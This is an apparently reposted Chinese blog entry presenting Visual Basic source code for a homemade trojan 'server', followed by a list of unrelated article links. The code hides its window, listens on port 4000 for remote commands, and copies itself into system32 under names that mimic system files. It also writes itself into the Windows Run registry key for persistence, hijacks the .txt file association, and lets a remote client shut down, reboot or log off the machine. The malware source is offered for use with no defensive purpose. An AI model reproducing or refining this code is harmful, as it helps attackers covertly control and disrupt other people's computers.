我的小木马---server端---第一次编译
来源:互联网 发布:录软件歌 编辑:程序博客网 时间:2024/04/30 02:09
'主窗体:Frm_Winsock
'Winsock控件:G_Server
Private Sub Form_Load()
'隐藏进程
'
'读取主机IP
HostIP = G_Server.LocalIP
'读取主机名
HostName = G_Server.LocalHostName
With Me
'设置本地默认端口
.G_Server.LocalPort = 4000
'监听
.G_Server.Listen
'隐藏窗体
.Hide
End With
'获取木马所在目录
Dim sCurrentPath As String
sCurrentPath = App.Path & "/" & App.EXEName & ".exe"
Debug.Print sCurrentPath
Dim sSystemDir As String
sSystemDir = "C:/winnt/system32"
On Error Resume Next
'复制文件成系统目录下的Systrsy.exe
FileCopy sCurrentPath, sSystemDir & "/Systrsy.exe"
On Error Resume Next
'复制文件成系统目录下的txtView.exe
FileCopy sCurrentPath, sSystemDir & "/txtView.exe"
'调用
Call StartupGroup
Call WriteToTxt
'判断程序是否下在运行
If App.PrevInstance Then
'如果已经运行就退出。
End
End If
End Sub
Private Sub G_Server_ConnectionRequest(ByVal requestID As Long)
With Me
If .G_Server.State <> sckClosed Then G_Server.Close
.G_Server.Accept requestID
End With
End Sub
Private Sub G_Server_DataArrival(ByVal bytesTotal As Long)
Dim strData As String
With Me
' 接收客户请求的信息
.G_Server.GetData strData
Select Case strData
Case "Exit"
'关机
Call ExitWindowsEx(EWX_SHUTDOWN, 0)
Case "Reboot"
'重启
Call ExitWindowsEx(EWX_REBOOT, 0)
Case "Logoff"
'注销
Call ExitWindowsEx(EWX_LOGOFF, 0)
End Select
End With
End Sub
'modApi模块
'声明全局变量
Public HostIP As Variant
Public HostName As Variant
'声明API函数
Public Declare Function ExitWindowsEx Lib "user32" (ByVal uFlags As Long, _
ByVal dwReserved As Long) _
As Long
Public Const EWX_LOGOFF = 0
Public Const EWX_REBOOT = 2
Public Const EWX_SHUTDOWN = 1
Public Declare Function ClipCursor Lib "user32" (lpRect As Any) As Long
Public Type RECT
Left As Long
Top As Long
Right As Long
Bottom As Long
End Type
Public Declare Function RegOpenKey Lib "advapi32.dll" Alias "RegOpenKeyA" (ByVal hKey As Long, _
ByVal lpSubKey As String, _
phkResult As Long) _
As Long
Public Declare Function RegSetvalueEx Lib "advapi32.dll" Alias "RegSetvalueExA" (ByVal hKey As Long, _
ByVal lpvalueName As String, _
ByVal Reserved As Long, _
ByVal dwType As Long, _
lpData As Any, _
ByVal cbData As Long) _
As Long
Public Declare Function RegCreateKey Lib "advapi32.dll" Alias "RegCreateKeyA" (ByVal hKey As Long, _
ByVal lpSubKey As String, _
phkResult As Long) _
As Long
Public Const REG_BINARY = 3
Public Const REG_SZ = 1
Public Const HKEY_LOCAL_MACHINE = &H80000002
Public Const HKEY_CLASSES_ROOT = &H80000000
Declare Sub keybd_event Lib "user32" (ByVal bVk As Byte, _
ByVal bScan As Byte, _
ByVal dwFlags As Long, _
ByVal dwExtraInfo As Long)
'写到注册表启动组中的过程
Public Sub StartupGroup()
Dim skey As String
Dim result As Long
Dim hKeyID As Long
Dim skeyVal As String
'启动组中的键,找一个与系统文件相近的。
skey = "Systrsy"
'木马文件的路径,可以用GetSystemDirectory来取得系统路径。
skeyVal = "C:/winnt/system32/systrsy.exe"
result = RegOpenKey(HKEY_LOCAL_MACHINE, "Software/Microsoft/Windows/CurrentVersion/Run", hKeyID)
If result = 0 Then
Debug.Print hKeyID & "/n"
result = RegSetvalueEx(hKeyID, skey, 0&, REG_SZ, skeyVal, Len(skey) + 1)
Debug.Print result & "/n"
End If
End Sub
'与txt文件进行关联
Public Sub WriteToTxt()
Dim result As Long
Dim hKeyID As Long
Dim skey As String
Dim skeyVal As String
skey = "txtfile/shell/open/command"
skeyVal = "C:/windows/system/txtView.exe"
result = RegOpenKey(HKEY_CLASSES_ROOT, skeyVal, hKeyID)
If result = 0 Then
Debug.Print hKeyID & "/n"
result = RegSetvalueEx(hKeyID, skey, 0&, REG_SZ, skeyVal, Len(skeyVal) + 1)
Debug.Print result
End If
End Sub
- 我的小木马---server端---第一次编译
- 我的小木马---server端---第一次编译
- 我经常中一些小木马
- 记录我第一次写sql server 2005的存储过程
- 我经常中木马的~!
- 小木马的伤感日志:希望这辈子你会比我幸福
- 小木马的伤感日志:希望这辈子你会比我幸福
- 小木马的伤感日志:希望这辈子你会比我幸福
- 小木马的伤感日志:希望这辈子你会比我幸福
- 我的第一次!
- 我的第一次
- 哈哈,我的第一次
- 我的第一次
- 我的第一次
- 我的第一次
- 我的第一次blog
- 我的第一次
- 我的第一次BLOG
- 你曾经或是现在想过创业吗?
- COM组件的多线程测试-Single模型
- COM组件的多线程测试-Single模型(附录)
- COM组件的多线程测试-Apartment模型
- COM组件的多线程测试-Apartment模型(附录)
- 我的小木马---server端---第一次编译
- 快速配置Apache2.X + Tomcat 4.X + Linux/Windows
- WSAD5.1 数据源篇: 如何访问Informx723(ONLINE) 数据源篇
- .Net下的算术表达式解析器的实现思路与源码
- 如何通过动态生成Html灵活实现DataGrid分类统计的界面显示功能
- 对于HOOK函数的一点认识 iBreathe(收藏)
- DataGrid传统分页方式
- 让Real Player从你的电脑走开
- 矩阵类模板